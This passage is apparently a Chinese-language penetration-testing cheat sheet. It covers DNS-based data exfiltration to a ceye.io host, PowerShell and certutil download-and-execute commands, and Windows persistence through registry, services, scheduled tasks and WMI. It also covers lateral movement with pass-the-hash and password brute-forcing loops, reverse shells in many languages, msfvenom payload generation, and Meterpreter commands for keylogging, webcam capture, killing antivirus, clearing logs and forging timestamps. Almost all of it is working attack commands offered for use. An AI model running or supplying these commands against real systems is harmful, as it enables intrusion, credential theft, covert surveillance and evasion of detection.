  10. //%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。  
  11. //%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
  12. //%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
  13. //%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
  14. //%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。  
  15. //%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。  
  16. //%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。  
  17. //%PATH%                   系统       指定可执行文件的搜索路径。  
  18. //%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。  
  19. //%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。  
  20. //%PROCESSOR_IDENTFIER%    系统       返回处理器说明。  
  21. //%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。  
  22. //%PROCESSOR_REVISION%     系统       返回处理器的版本号。  
  23. //%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。  
  24. //%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。  
  25. //%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。  
  26. //%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。  
  27. //%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。  
  28. //%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。  
  29. //%USERDOMAIN%             本地       返回包含用户帐户的域的名称。  
  30. //%USERNAME%               本地       返回当前登录的用户的名称。  
  31. //%USERPROFILE%            本地       返回当前用户的配置文件的位置。  
  32. //%WINDIR%                 系统       返回操作系统目录的位置。
复制代码
Linux

在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出本身想要的东西。
  1. ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io
复制代码
base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。
  1. pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io
复制代码
假如有多行数据必要外带,那么请考虑下面的语句。
  1. var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"
  2. |xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done
复制代码
windows短文件名

短文件名查看
  1. 用"dir /x"命令可以方便地帮助您查看系统对目录或文件名的缩写
复制代码
常见短文件名
  1.   
  2. Documents and Settings  
  3. 可表示为  
  4. DOCUME~1  
  5. 又如:  
  6. Local Settings  
  7. 可表示为  
  8. LOCALS~1  
  9.   
  10. Program Files  
  11. Program Files (x86)  
  12. 这两个目录分别表示为:  
  13. PROGRA~1  
  14. PROGRA~2
复制代码
powershell文件下载

  1. powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
复制代码
常用
  1. powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','1.exe')
复制代码
  1. Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")
复制代码
bypass
  1. echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -
复制代码
base64编码(和其他base64差别,解不开)
  1. $Text = "(new-object System.Net.WebClient).DownloadFile('http://xxxxxxxxxx:8000/bddch.txt','bdchd.txt')"  
  2. $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)  
  3. $EncodedText =[Convert]::ToBase64String($Bytes)  
  4. $EncodedText
复制代码
base64解码
  1. $EncodedText = "dwByAGkAxxxxxxxxxxxxxxxxxxxAG0AbgB0AG4AJwA="  
  2. $DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedText))  
  3. $DecodedText  
复制代码
运行base64编码后的下令
  1. powershell -noP -sta -enc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
复制代码
certutil.exe下载

  1. C:\Windows\System32\certutil.exe C:\Users\Public\cer.exe
复制代码
  1. certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
复制代码
  1. certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.exe
复制代码
  1. certutil.exe -urlcache -split -f http://192.168.6.27:8012/download/f.ext C:\windows\temp\up.exe &&start C:\windows\temp\up.exe
复制代码
删除缓存
  1. certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
  2. delete
复制代码
查看缓存项目:
  1. certutil.exe -urlcache *
复制代码
转为base64
  1. certutil -encode lcx64.exe lcx64.txt
复制代码
转回来
  1. certutil -decode lcx64.txt lcx64.exe
复制代码
查看md5
  1. certutil -hashfile a.exe MD5
复制代码
bypass
  1. Certutil & Certutil –urlcache –f –split url  
  2. Certutil | Certutil –urlcache –f –split url
复制代码
bitsadmin

不支持https、ftp协议,php python带的服务器会堕落
  1. bitsadmin /transfer n http://192.168.1.1/1.exe  C:\test\update\1.exe
复制代码
wget 下载文件

下载到指定目录
  1. wget -P /tmp http://127.0.0.1:8088/aliyun
复制代码
curl 下载

使用内置option:-o(小写)
  1. curl -o dodo1.jpg http:www.linux.com/dodo1.JPG
复制代码
使用内置option:-O(大写)
  1. curl -O http://www.linux.com/dodo1.JPG
复制代码
下载后,上线
  1. chmod +x /tmp/aliyun&&/tmp/aliyun
复制代码
windows权限维持

Startup目录

  1. NT6以后的目录如下:  
  2.   
  3. 对当前用户有效:  
  4. C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup  
  5. 对所有用户有效:  
  6. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp  
  7. NT6以前的目录如下:  
  8.   
  9. 对当前用户有效:  
  10. C:\Documents and Settings\Hunter\「开始」菜单\程序\启动  
  11. 对所有用户有效:  
  12. C:\Documents and Settings\All Users\「开始」菜单\程序\启动  
复制代码
注册键

  1. reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"  
复制代码
  1. 1.Load注册键  
  2. HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load  
  3.   
  4. 2.Userinit注册键  
  5. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit  
  6. 通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。  
  7.   
  8. 3.Explorer\Run注册键  
  9. Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。  
  10. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run  
  11. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run  
  12. Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。  
  13.   
  14. 4.RunServicesOnce注册键  
  15. RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。  
  16. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce  
  17. HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce  
  18.   
  19. 5.RunServices注册键  
  20. RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。  
  21. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices  
  22. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices  
  23.   
  24. 6.RunOnce\Setup注册键  
  25. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup  
  26. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup  
  27.   
  28. 7.RunOnce注册键  
  29. 安装程序通常用RunOnce键自动运行程序,它的位置在  
  30. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce  
  31. [小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx  
  32. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce  
  33. HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。  
  34.   
  35. 8.Run注册键  
  36. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  
  37. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run  
  38. Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。
复制代码
服务

  1. sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"
复制代码
筹划任务

  1. SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe
复制代码
WMI事件

  1. wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"  
  2.   
  3. wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"  
  4.   
  5. wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="evil"", Consumer="CommandLineEventConsumer.Name="evilConsumer""  
复制代码
屏幕掩护

  1. reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f  
  2. reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f  
  3. reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f  
  4. reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
复制代码
bitsadmin

  1. bitsadmin /create evil  
  2. bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"  
  3. bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL  
  4. bitsadmin /Resume evil
复制代码
Netsh白加黑

  1. 可以通过导入helperdll的方式做权限维持,命令格式如下:  
  2. netsh add helper [Absolute evil DLL path]  
  3. 但是由于netsh并不会开启自启动,因此还要再写一条自启动项:  
  4. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"  
  5. 重新启动后依然可获得shell:
复制代码
MSDTC

在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件,在得到写权限的情况下可以在该文件夹下写入一个同名的dll,服务启动时实行恶意代码。默认情况下,由于启动类型设置为“手动”,通过以下下令设置自启:
  1. sc qc msdtc  
  2. sc config msdtc start= auto  
复制代码
windows信息收集常用下令

  1. Systeminfo 计算机详细信息(补丁信息)  
  2.   
  3. Net start 所启动的服务  
  4.   
  5. Wmic service list brief 查询本机服务信息  
  6.   
  7. Tasklist 进程列表  
  8.   
  9. Wmic startup get command,caption 查看启动该程序信息  
  10.   
  11. Schtasks /query /fo LIST /v计划任务  
  12.   
  13. Netstat -ano 根据本机端口开放情况来判断有什么服务、其角色  
  14.   
  15. Query user || qwinsta 查看当前在线用户  
  16.   
  17. Net session 列出会话  
  18.   
  19. Net share 查看本机的共享列表  
  20.   
  21. Wmic share get name,path,status 查看共享列表  
  22.   
  23. Net user 本地用户  
  24.   
  25. Net user kkkk 查看本地用户信息  
  26.   
  27.   
  28. Net localgroup 本地用户组  
  29.   
  30. Net localgroup /domain 域用户组  
  31.   
  32. Net localgroup adminnstrators 本地管理员组成员  
  33.   
  34. net localgroup adminstrators /domain 查看登陆过主机的管理员  
  35.   
  36. Wmic useraccount get /all 获取域内用户详细信息  
  37.   
  38. dsquery user 查看存在的用户  
  39.   
  40. Net user /domain 域用户信息  
  41.   
  42. Net user kkkk /domain 域用户kkkk信息  
  43.   
  44. Net user kent password /add /domain添加域用户  
  45.   
  46.   
  47. Net group /domain 域用户组信息  
  48.   
  49. Net view /domain 查询域  
  50.   
  51. Net view /domain:test 查询域内计算机  
  52.   
  53. Net accounts /domain 查询域中密码策略  
  54.   
  55. Net group /domain 查看域内所有用户组  
  56.   
  57. Net group "Domain Controllers" /domain 查看域控制器组  
  58.   
  59. Net group "Domain computers" /domain 查看域内所有计算机列表  
  60.   
  61. Net group "Domain admins" /domain 查看域内管理员用户  
  62.   
  63. Net user /domain kent active:yes 启用域账户  
  64.   
  65. Net user /domain kent active:no 禁用域账户  
  66.   
  67. Nltest /DCLIST:test 查看域中域控制器名  
  68.   
  69. Wmic useraccount get /all 用户详细信息  
  70.   
  71. Net group "Domain Admins" /domain 对应组下的账户信息  
  72.   
  73. nltest /domain_trusts 获取域信任信息  
  74.   
  75. net config workstation 了解本机的配置信息  
  76.   
  77. Netsh firewall show config 查看防火墙配置  
  78.   
  79. Netsh advfirewall set allprofiles state off关闭防火墙(windows server 2003后)  
  80.   
  81. Netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" 允许指定程序进入(windows server 2003后)  
  82.   
  83. Netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="C:\nc.exe"允许指定程序退出(windows server 2003后)  
  84.   
  85. Netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许3389连接(windows server 2003后)  
  86.   
  87. Reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"查看端口代理配置信息  
  88.   
  89. Reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 查看远程桌面端口号  
复制代码
at&schtasks&sc横向

使用明文暗码登录到目的,必要445和139端口开启:
  1. net use \\192.168.2.148\ipc$ password /user:test\administrator  
  2.   
  3. net use \\192.168.2.148\ipc$ password /user:administrator  
  4.   
  5. 复制文件  
  6. copy c:\1.exe \\192.168.2.148\c$  
  7.   
  8. at新建10:10分运行的定时作业  
  9. at \\192.168.2.148 10:10 c:\1.exe  
  10.   
  11. Windows server 2012及以上使用schtasks命令  
  12. Schtasks /create /s 192.168.2.148 /ru “SYSTEM” /tn executefile /sc DAILY /tr c:/1.exe /F  
  13. Schtasks /run /s 192.168.2.148 /tn executefile /i  
  14. Schtasks /delete /s 192.168.2.148 /tn executefile /f  
  15.   
  16. sc \\192.168.210.107 create hacker binpath="c:\shell1.exe"   #创建服务  
  17. sc \\192.168.210.107 start hacker      #启动hacker服务
复制代码
impacket包横向下令

下载https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases
Atexec
  1. 需要445端口开启  
  2. Atexec.exe hacker/administrator:abc123@192.168.202.148 "whoami"  
  3.   
  4. Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/administrator@192.168.202.148 "whoami"
复制代码
dcomexec
  1. 需要135端口开启  
  2. dcomexec.exe hacker/administrator:abc123@192.168.202.148 "whoami"  
  3.   
  4. dcomexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/administrator@192.168.202.148 "whoami"
复制代码
psexec
  1. 官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序:  
  2. Net use \192.168.202.148\ipc$ zxcvbnm123 /user:test\Administrator  
  3. Psexec \192.168.202.148 -accepteula -s cmd  
  4.   
  5. 官方Psexec第二种利用方法:不用建立ipc连接,直接使用密码或hash进行传递  
  6. Psexec \192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd  
  7.   
  8. PsExec -hashes :fac5d668099409cb6fa223a32ea493b6 test.com/Administrator@192.168.202.148 "whoami" (官方提供的exe执行不了)
复制代码
smbexec
  1. 需要445端口开启  
  2. Smbexec test/Administrator:zxcvbnm123@192.168.202.148  
  3. Smbexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148
复制代码
wmi
  1. WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。  
  2. 第一种:使用系统自带的WMIC明文传递执行相应命令,但执行的结果不回显(先管理员账户登录)  
  3. Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123 process call create "cmd.exe /c ipconfig >C:/1.txt"  
  4.   
  5. 第二种:使用系统自带cscript明文传递执行反弹shell,执行结果有回显,现已被杀  
  6. Cscript //nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123  
  7.   
  8. 第三种:使用第三方impacket套件中的Wmiexec进行明文或hash传递,执行结果有回显  
  9. Wmiexec test/Administrator:zxcvbnm123@192.168.202.148 "whoami"  
  10. Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148 "whoami"  
复制代码
批量操作,必要保存为bat实行
  1. 用已知密码和用户,批量连接ip:  
  2. FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “password” /user:hacker\administrator  
  3.   
  4. 已知用户和ip,批量连接密码(爆破密码):  
  5. FOR /F %%i in (pass.txt) do net use \192.168.202.148\ipc$ "%%i" /user:test\administrator  
  6.   
  7. 已知用户和ip,批量连接hash(爆破hash):  
  8. FOR /F %%i in (hash.txt) do atexec.exe -hashes :"%%i" test/administrator@192.168.202.148 "whoami"
复制代码
精准批量法
  1. shell for /l %i in (1,1,253) do echo 172.22.13.%i >>tip.txt  
  2. shell for /f %i in (tip.txt) do ping -n 1 -w 10 %i | find /i "ttl" >nul && echo %%i >>ok.tx  
  3. shell for /f %i in (ok.txt) do dir \\%i\c$\users >>result.txt
复制代码
cme 批量
  1. proxychains4 ./cme smb 10.0.0.1/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d xx.org -x "net user"
复制代码
单独实行下令
  1. crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
复制代码
ldap喷洒
  1. cme ldap 10.11.12.211 -u 'username' -p 'password' --kdcHost 10.11.12.211 --users
复制代码
反弹shell

nc

  1. nc -lvvp 4444
复制代码
bash

  1. bash -i >& /dev/tcp/172.16.1.130/4444 0>&1  
  2. exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done
复制代码
perl

  1. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
复制代码
python

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
复制代码
php

  1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
复制代码
ruby

  1. ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
复制代码
nc

  1. nc -e /bin/sh 10.0.0.1 1234  
  2. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f  
  3. nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
复制代码
java

  1. r = Runtime.getRuntime()  
  2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])  
  3. p.waitFor()
复制代码
lua

  1. lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
复制代码
powershell

  1. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
复制代码
加密shell

  1. mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s  
复制代码
msf大全

https://xz.aliyun.com/t/2536
https://www.freebuf.com/articles/web/270456.html
https://saucer-man.com/information_security/79.html
https://www.anquanke.com/post/id/235631
https://www.anquanke.com/post/id/164525
安装

安装
  1. # 安装  
  2. curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall  
  3. 安装目录   
  4. # /opt/metasploit-framework/embedded/framework/
复制代码
安装2
  1. wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run  
  2. chmod +x ./metasploit-latest-linux-x64-installer.run  
  3. ./metasploit-latest-linux-x64-installer.run
复制代码
payload生成
Linux
  1. 反向连接:  
  2. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf  
  3. 正向连接:  
  4. msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf
复制代码
Windows
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f exe > shell.exe
复制代码
Mac
  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f macho > shell.macho
复制代码
PHP
  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.php  
  2. cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
复制代码
ASP
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f asp > shell.asp
复制代码
JSP
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.jsp
复制代码
WAR
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f war > shell.war
复制代码
实行方式:将shell.php放在web目录下,使用欣赏器访问,大概使用以下下令实行:
  1. php shell.php
复制代码
3.脚本shell
Python
  1. msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=808 -f raw > shell.py
复制代码
Bash
  1. msfvenom -p cmd/unix/reverse_bash LHOST=127.0.0.1 LPORT=808 -f raw > shell.sh
复制代码
Perl
  1. msfvenom -p cmd/unix/reverse_perl LHOST=127.0.0.1 LPORT=808 -f raw > shell.pl
复制代码
实行方式:复制shell.py中的内容在linux下令行下实行:
  1. python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
复制代码
4.shellcode Linux Based Shellcode
  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language>
复制代码
Windows Based Shellcode
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language>
复制代码
Mac Based Shellcode
  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language>
复制代码
Meterpreter基本下令

首先必要先获取meterpreter:
  1. use exploit/multi/handler  
  2. set payload windows/meterpreter/reverse_tcp  
  3. #set payload linux/x64/meterpreter/reverse_tcp  
  4. set LHOST 0.0.0.0  
  5. set lPORT 6789  
  6. set ExitOnSession false  
  7. exploit -j -z # -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)  
  8. jobs  # 查看后台攻击任务   
  9. kill <id>  # 停止某后台攻击任务   
  10. sessions -l  # (查看会话)  
  11. sessions -i 2   # 选择会话  
  12. sessions -k 2   # 结束会话
复制代码
假如先获取了cmd,好比利用ms17-010,默认使用的payload返回的就是cmd。这时间我们可以使用sessions-u 2来将cmdshell升级成meterpreter。
获取到了meterpreter,就可以进行后渗透了。
基本体系下令

  1. # 会话管理  
  2. background  #将当前会话放置后台  
  3. sessions  # 查看会话  
  4. sessions -i  # 切换会话  
  5. quit  # 关闭当前的会话,返回msf终端  
  6.   
  7. # 系统设置  
  8. sysinfo  # 查看目标机系统信息  
  9. idletime  # 查看目标机闲置时间  
  10. reboot/shutdown   # 重启/关机  
  11.   
  12. # shell  
  13. shell  # 获得控制台权限  
  14. irb  # 进入ruby终端  
  15.   
  16. # 进程迁移  
  17. getpid    # 获取当前进程的pid  
  18. ps   # 查看当前活跃进程  
  19. migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中  
  20. kill <pid值>   #杀死进程  
  21. migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中  
  22.   
  23. # 执行文件  
  24. execute #在目标机中执行文件  
  25. execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互  
  26.   
  27. # 摄像头命令  
  28. webcam_list  #查看摄像头列表  
  29. webcam_chat  # 查看摄像头接口  
  30. webcam_snap   #通过摄像头拍照  
  31. webcam_stream   #通过摄像头开启视频  
  32.   
  33. # uictl开关键盘/鼠标  
  34. uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标  
  35. uictl disable mouse  #禁用鼠标  
  36. uictl disable keyboard  #禁用键盘  
  37.   
  38. # 远程桌面/截屏  
  39. enumdesktops  #查看可用的桌面  
  40. getdesktop    #获取当前meterpreter 关联的桌面  
  41. screenshot  #截屏  
  42. use espia  #或者使用espia模块截屏  然后输入screengrab  
  43. run vnc  #使用vnc远程桌面连接  
  44.   
  45. # 键盘记录  
  46. keyscan_start  #开始键盘记录  
  47. keyscan_dump   #导出记录数据  
  48. keyscan_stop #结束键盘记录  
  49.   
  50. # 添加用户,开启远程桌面  
  51. # 开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令  
  52. run post/windows/manage/enable_rdp  #开启远程桌面  
  53. run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户  
  54. run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662  
  55.   
  56. # 关闭防病毒软件  
  57. run killav  
  58. run post/windows/manage/killav  
  59.   
  60. # 修改注册表  
  61. reg –h # 注册表命令帮助  
  62. upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc  
  63. reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key  
  64. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值  
  65. reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值  
  66. nc -v 192.168.81.162 443  #攻击者连接nc后门  
  67.   
  68. # 清理日志  
  69. clearav  #清除windows中的应用程序日志、系统日志、安全日志
复制代码
文件体系下令

  1. cat/ls/cd/rm  # 基本命令  
  2. search -f *pass* -d C:\\windows # 搜索文件  -h查看帮助  
  3. getwd/pwd  # 获取当前目录  
  4. getlwd/lpwd   # 操作攻击者主机 查看当前目录  
  5. upload /tmp/hack.txt C:\\lltest # 上传文件  
  6. download c:\\lltest\\lltestpasswd.txt /tmp/  # 下载文件  
  7. edit c:\\1.txt  # 编辑或创建文件  没有的话,会新建文件  
  8. mkdir lltest2  # 只能在当前目录下创建文件夹  
  9. rmdir lltest2  # 只能删除当前目录下文件夹  
  10. lcd /tmp   # 操作攻击者主机 切换目录  
  11.   
  12. # timestomp伪造文件时间戳  
  13. timestomp C:// -h   #查看帮助  
  14. timestomp -v C://2.txt   #查看时间戳  
  15. timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
复制代码
网络下令

  1. # 基本  
  2. ipconfig/ifconfig  
  3. netstat –ano  
  4. arp  
  5. getproxy   #查看代理信息  
  6. route   #查看路由  
  7.   
  8. # portfwd端口转发  
  9. portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的3389端口转发到本地6666端口  
